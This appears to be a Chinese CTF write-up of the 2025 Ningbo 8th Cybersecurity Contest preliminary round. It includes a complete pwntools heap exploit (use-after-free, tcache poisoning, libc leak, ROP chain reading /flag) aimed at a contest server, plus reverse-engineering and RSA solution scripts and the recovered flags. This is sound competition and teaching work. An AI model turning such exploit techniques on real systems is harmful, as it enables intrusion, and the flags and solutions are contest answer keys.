2025宁波市第八届网络安全大赛初赛Writeup
今天上午初赛结束了,感谢两个队友带,dr0n和Rot-will
槽点有点多,比如几个题AI秒出,我觉得以后出题都要反AI了,可能就留一个签到题AI能做,如果反AI,可能我真啥都不会了
AI这东西做逆向和密码非常厉害,逆向读伪代码和分析加解密,而这正是LLMs擅长的理解能力。做Web和Misc不太行,因为这两个用到的工具和环境太多。
两个WEB都是平平无奇登陆框,都做不出来,给的hint也做不出来,但是闲鱼一把梭。。。
两个杂项也古怪,队友做麻了,什么二维码小点点、博多密码,rgb转换之类
还有,我们做完4题已经第三名了,其他实在做不出来,就算其他队伍跟我们做一样的题,我们有前三血,那也应该排前面
但是最后三十分钟,我们连掉三十多名,我刷新一下掉一名,他们全都爆发了,不过应该能进决赛
部分附件在:https://github.com/TajangSec/Ningbo-8th-CSC-Pre
PWN
entity_cache
存在uaf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
import LibcSearcher
def add(ind,size,data=b'\n'):
p.sendlineafter(b'Code: ',b'1')
p.sendlineafter(b'id >',str(ind).encode())
p.sendlineafter(b'size >',str(size).encode())
p.sendafter(b'fragment >',data)
def edit(ind,data):
p.sendlineafter(b'Code: ',b'2')
p.sendlineafter(b'id >',str(ind).encode())
p.sendafter(b'stream >',data)
def free(ind):
p.sendlineafter(b'Code: ',b'3')
p.sendlineafter(b'id >',str(ind).encode())
def show(ind):
p.sendlineafter(b'Code: ',b'4')
p.sendlineafter(b'id > ',str(ind).encode())
#p=process('entity_cache')
p=remote('139.155.126.78','26428')
p.readuntil('[DEBUG INFO]')
e=ELF('./entity_cache')
libc=ELF('./libc.so')
e.address=int(p.readline(),16)-0xa1a
print(hex(e.address))
syscall=e.address+0xbcc
add(0,0xf0)
add(1,0xf0)
add(2,0xf0,'flag')
add(3,0xf0,'/flag')
free(0)
free(1)
show(1)
heap0=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(heap0))
heap3=heap0+0x100*3
heap2=heap0+0x100*2
edit(1,p64(e.address+0x202060))
add(4,0xf0)
add(5,0xf0) # cache
edit(5,p64(e.got['puts']))
show(0)
puts=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00'))
print(hex(puts))
libc.address=puts-libc.symbols['puts']
env=libc.symbols['environ']
edit(5,p64(env))
show(0)
stack=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00')[:8])
print(hex(stack))
edit(5,p64(stack-0x120+8*2))
show(0)
stack1=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00')[:8])
print(hex(stack1))
main_stack=stack-0x120+8*2
edit(5,p64(main_stack))
#gdb.attach(p)
pause()
rdi=0x000000000002164f+libc.address
rsi=0x0000000000023a6a+libc.address
rdx=0x0000000000001b96+libc.address
rax=0x000000000001b500+libc.address
payload=b""
payload=p64(rax)+p64(2)+p64(rdi)+p64(heap3)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(syscall)
payload+=p64(rax)+p64(0)+p64(rdi)+p64(3)+p64(rsi)+p64(heap2)+p64(rdx)+p64(0x50)+p64(syscall)
payload+=p64(rax)+p64(1)+p64(rdi)+p64(1)+p64(rsi)+p64(heap2)+p64(rdx)+p64(0x50)+p64(syscall)
print(hex(len(payload)))
edit(0,payload)
p.interactive()
REVERSE
SEA_1
我不太会逆向,AI告诉我这是AES_ECB
其他选手说,贴在claude desktop或者vscode 的mcp里面,AI秒出,自己根本不用动
伪代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t i; // [esp+190h] [ebp-268h]
int v5[72]; // [esp+19Ch] [ebp-25Ch] BYREF
char v6[44]; // [esp+2BCh] [ebp-13Ch] BYREF
char Buf1[136]; // [esp+2E8h] [ebp-110h] BYREF
char Str[132]; // [esp+370h] [ebp-88h] BYREF
__CheckForDebuggerJustMyCode(&unk_45A019);
memset(Str, 0, 0x80u);
memset(Buf1, 0, 0x80u);
sub_401E00("Please input the flag and I will verify it: ");
sub_401E70("%128s", Str);
strcpy(v6, "58453eec4d16ae234a10b597dfe1f6a6");
if ( sub_4016B0(v5, v6, 256) )
return -1;
for ( i = 0; i < strlen(Str); i += 16 )
{
if ( sub_401410((int)v5, (int)&Buf1[i], &Str[i]) )
return -1;
}
if ( !memcmp(Buf1, &unk_458014, 0x30u) )
sub_401E00("Right flag!\n");
else
sub_401E00("Wrong flag\n");
return 0;
}
AES加密,密钥是58453eec4d16ae234a10b597dfe1f6a6,密文是unk_458014,dump出来是29708f1980cce40f46abac148d488ca83716fe1d397202797b1999166265623e8f761285cb28e256b381167761e41094
cyberchef解开:DASCTF{75aab2560274ae21aa4554b993e658d1}
flower_world
```txt {title=”1.txt”} 97704D -= 120; 977070 ^= 0x4Fu; 977055 -= 30; 977064 -= 93; 977048 += 95; 97704A += 103; 97705C ^= 0x82u; 977069 += 52; 97705E ^= 3u; 977041 += 71; 977076 ^= 0xE0u; 97706D -= 44; 977044 -= 127; 977075 -= 71; 977060 ^= 0xAAu; 97704E -= 119; 977062 ^= 0xAu; 97707D -= 48; 977075 += 55; 97705B += 111; 97706E ^= 0x32u; 97706C -= 92; 97705F ^= 0x29u; 977041 += 79; 97704A += 58; 977062 -= 17; 97705A += 123; 977075 -= 100; 97705C -= 64; 977056 -= 89; 977070 ^= 0x73u; 977062 ^= 0x61u; 97706E += 118; 977062 += 41; 977070 += 78; 977055 -= 11; 97704F ^= 0x5Eu; 977070 ^= 0xB2u; 977066 -= 66; 977046 ^= 0xECu; 977062 ^= 0xD1u; 977046 -= 99; 977069 -= 49; 977046 += 32; 977066 += 61; 977042 ^= 0x42u; 977055 += 109; 977070 += 14; 97707B -= 52; 97706E -= 94; 977074 += 57; 97705D -= 30; 97705E -= 107; 977048 += 55; 97704C -= 27; 97706F -= 88; 97707A -= 105; 977040 += 25; 97704C += 73; 97706F -= 80; 977070 += 125; 97706E -= 44; 97707A += 11; 977068 ^= 0x57u; 977062 += 117; 977056 += 92; 97705B ^= 0x7Au; 977043 += 33; 977045 ^= 0xC3u; 97705E += 19; 977064 -= 46; 977065 -= 45; 977067 ^= 0xB0u; 97704F -= 69; 977061 ^= 0xDCu; 977046 += 69; 97707E += 116; 97704B ^= 0x22u; 977063 ^= 0x7Eu; 977054 += 18; 977072 -= 11; 97704E ^= 5u; 97706E += 58; 977048 += 44; 97706D ^= 0xE4u; 977068 -= 30; 977063 += 96; 977047 -= 49; 977062 += 83; 97707A += 53; 97706A ^= 0x21u; 97707C += 49; 97705B += 11; 977070 -= 105; 977063 -= 47; 977073 -= 67; 977047 += 94; 97707E += 78; 97704F -= 96; 97707A ^= 0xD3u; 977043 += 115; 97705E -= 127; 97707A -= 86; 977074 += 32; 977067 ^= 0x5Cu; 977049 -= 64; 97706B ^= 0x8Eu; 97707E += 121; 977054 -= 98; 977074 ^= 0x22u; 97704F -= 12; 977045 ^= 0x2Du; 97707C -= 44; 97704D -= 74; 977061 ^= 0x82u; 977068 ^= 0xEDu; 977071 ^= 0xBEu; 977077 += 4; 97705E -= 120; 97704B += 67; 977072 -= 52; 977042 ^= 0x87u; 977067 -= 38; 97707B ^= 0xFAu; 977072 += 90; 97706E -= 9; 977077 ^= 0x2Fu; 977049 += 83; 97706B ^= 0xD6u; 977062 -= 6; 977048 -= 119; 977061 -= 118; 977062 -= 75; 977068 -= 52; 977040 -= 108; 97706A += 28; 97707C ^= 0x4Cu; 97706C ^= 0x4Au; 977061 ^= 0xFDu; 977063 += 125; 977041 ^= 0x6Cu; 977075 += 25; 977071 -= 7; 97707D -= 119; 97706F -= 16; 977064 += 53; 977066 ^= 0x56u; 977042 ^= 0xF2u; 97706B += 115; 977055 -= 37; 977072 -= 51; 977041 -= 107; 97704F -= 116; 97705C += 46; 977065 -= 67; 97704C += 113; 977061 += 114; 97704E += 69; 977060 += 99; 977064 ^= 0x88u; 977079 -= 37; 97705E ^= 0x76u; 977070 += 95; 97707A += 51; 977074 ^= 0xD3u; 97704F -= 86; 977040 -= 6; 97707C -= 8; 977071 ^= 0x30u; 97705B += 29; 977070 += 65; 97705D ^= 0xEEu; 977047 -= 31; 977061 -= 16; 977071 += 9; 977064 -= 46; 977049 ^= 0xDEu; 977054 ^= 0x6Du; 977065 -= 91; 977077 += 119; 97707D -= 8; –977061; 977075 += 124; 977068 += 3; 977059 -= 22; 977060 ^= 0xD3u; 977072 ^= 0xA4u; 977040 ^= 0xA8u; 97707F += 50; 97707E ^= 0x4Du; 977070 += 60; 97704B += 49; 97707B += 3; 97706A -= 20; 977060 -= 38; 977063 -= 2; 97707B -= 108; 97707E -= 71; 97706E += 111; 977040 ^= 0xD9u; 97704E += 76; 97706F ^= 0xF6u; 97705B += 26; 977040 -= 27; 977060 -= 80; 977078 -= 27; 97705B += 7; ++977073; 977075 ^= 0xDDu; 977043 -= 127; 977072 += 116; 977069 -= 70; 977065 ^= 0x9Bu; 977059 -= 34; 97704B -= 127; 97707F ^= 0xBu; 977058 -= 65; 97704B ^= 0x83u; 977059 ^= 0xB6u; 977067 -= 25; 977042 -= 94; 977061 ^= 0x7Eu; 977072 -= 69; 977077 -= 72; 977060 ^= 0xF7u; 977043 -= 11; 977069 ^= 0x64u; 977075 ^= 0xEu; 977073 -= 111; 977065 ^= 0x7Au; 97706B -= 7; 977060 += 103; 97707D ^= 0xF4u; 977077 += 16; 97705C ^= 0x89u; 977041 -= 20; 97707A ^= 0x3Fu; 97704D -= 31; 977073 += 98; 977073 -= 5; 977061 -= 30; 97704C += 73; 977054 -= 6; 977071 ^= 0x56u; 97705B ^= 3u; 977055 -= 119; 97706D += 37; 97705E += 4; 977044 -= 48; 977076 ^= 0xF4u; 977053 ^= 0x10u; 977059 ^= 0x47u; 977060 ^= 0xE2u; 97704E -= 16; 97705E ^= 0xD2u; 977042 += 70; 977060 -= 91; 977041 ^= 0x12u; 977042 -= 81; 977047 += 92; 977055 -= 77; 97705D ^= 0x7Du; 977070 ^= 0x4Au; 977074 -= 25; 977074 -= 127; 97704B += 121; 97706C += 64; 97707A ^= 0x58u; 97704B -= 123; 977078 += 42; 977071 -= 89; 97707E ^= 0x99u; 977043 -= 6; 977045 ^= 0x7Du; 977042 -= 14; 977064 += 96; 977058 += 26; 97706E += 54; 977052 -= 86; 97705D ^= 0x4Eu; 977055 -= 15; 977078 -= 32; 977057 += 75; 97706E += 66; 977053 += 101; 97705E -= 59; 97706B ^= 0xFAu; 977042 += 93; 977073 -= 123; 97707C += 31; 977064 ^= 0xA2u; 977073 -= 32; 97705A ^= 0x11u; 97707D += 121; 977074 -= 99; 977054 ^= 0x68u; 97706D -= 75; 977041 -= 117; 977043 += 92; 977041 += 88; 97704D -= 4; 977052 ^= 0x43u; 97704B += 8; 97706A -= 82; 977055 += 56; 977049 += 43; 977075 ^= 0xD1u; 97705D ^= 0x1Bu; 977052 -= 74; 97707B -= 104; 977073 -= 6; 977053 -= 120; 977043 -= 6; 977069 -= 2; 97705E ^= 0xFEu; 97707E ^= 0x45u; 977052 += 5; 977068 ^= 0x36u; 977051 -= 42; 977050 ^= 0xD6u;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<hr>
```shell
d=open('1.txt').read().splitlines()
data=[ 0x7F, 0x11, 0x4A, 0x9D, 0xA5, 0xD5, 0x99, 0x9F, 0xAC, 0xD3,
0xD4, 0xBC, 0x1A, 0x53, 0x46, 0xF4, 0xE7, 0x37, 0x03, 0x60,
0x17, 0xBA, 0x67, 0xAC, 0x09, 0xDA, 0xA0, 0xFB, 0x2D, 0x8E,
0xCB, 0x11, 0x02, 0xC4, 0x17, 0xF7, 0x1B, 0x8F, 0x67, 0x52]
e={}
base=0x977040
def parse_int(s):
if '0x' in s:
return int(s,16)
else:
return int(s)
for i in d:
i=i.strip().strip(';')
if '-' in i:
if ('--' in i):
value=1
addr=int(i.strip('-'),16)-base
else:
value=parse_int(i.split('-=')[1].strip(';u'))
addr=int(i.split()[0],16)-base
state=0
elif '^' in i:
value=parse_int(i.split('^=')[1].strip(';u'))
addr=int(i.split()[0],16)-base
state=1
elif '+' in i:
if ('++' in i):
value=1
addr=int(i.strip('+'),16)-base
else:
value=parse_int(i.split('+=')[1].strip(';u'))
addr=int(i.split()[0],16)-base
state=2
else:
continue
if (e.get(addr)==None):
e[addr]=[]
e[addr].append((state,value))
print(e[0])
for i in e:
if i>=len(data):
continue
for state,value in e[i][::-1]:
# print(state,value)
if state==0:
data[i]+=value
elif state==1:
data[i]^=value
elif state==2:
data[i]-=value
data[i]=data[i]&0xff
print(bytes(data))
CRYPTO
Three-prime RSA
https://chatgpt.com/share/68a14d43-ab10-800b-bbee-7e4511dfaaea
AI太猛了
从 r_cubed 恢复 r
r = int(round(r_cubed ** (1/3)))
从 D 中恢复 (p+q+r) 和 random_num
题目中 random_num 是一个 28 位质数,p+q+r 大约 512~514 位。因为 (p+q+r)*random_num < n,所以 D 没有取模的影响:
1
2
random_num = 254766409 # 可通过简单分解D得到
s = D // random_num # 得到 s = p + q + r
求p+q
p_plus_q = s - r
解一元二次方程得到 p 和 q
方程:x^2 - (p+q)x + p*q = 0
1
2
3
4
5
from sympy import symbols, solve
x = symbols('x')
sols = solve(x**2 - p_plus_q*x + pq, x)
p, q = int(sols[0]), int(sols[1])
计算 d 并解密
1
2
3
4
5
6
7
from Crypto.Util.number import long_to_bytes, inverse
e = 65537
d = inverse(e, (p-1)*(q-1)*(r-1))
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
DASCTF{5521a971-9bed-11ef-bfda-14ac6024b6a8}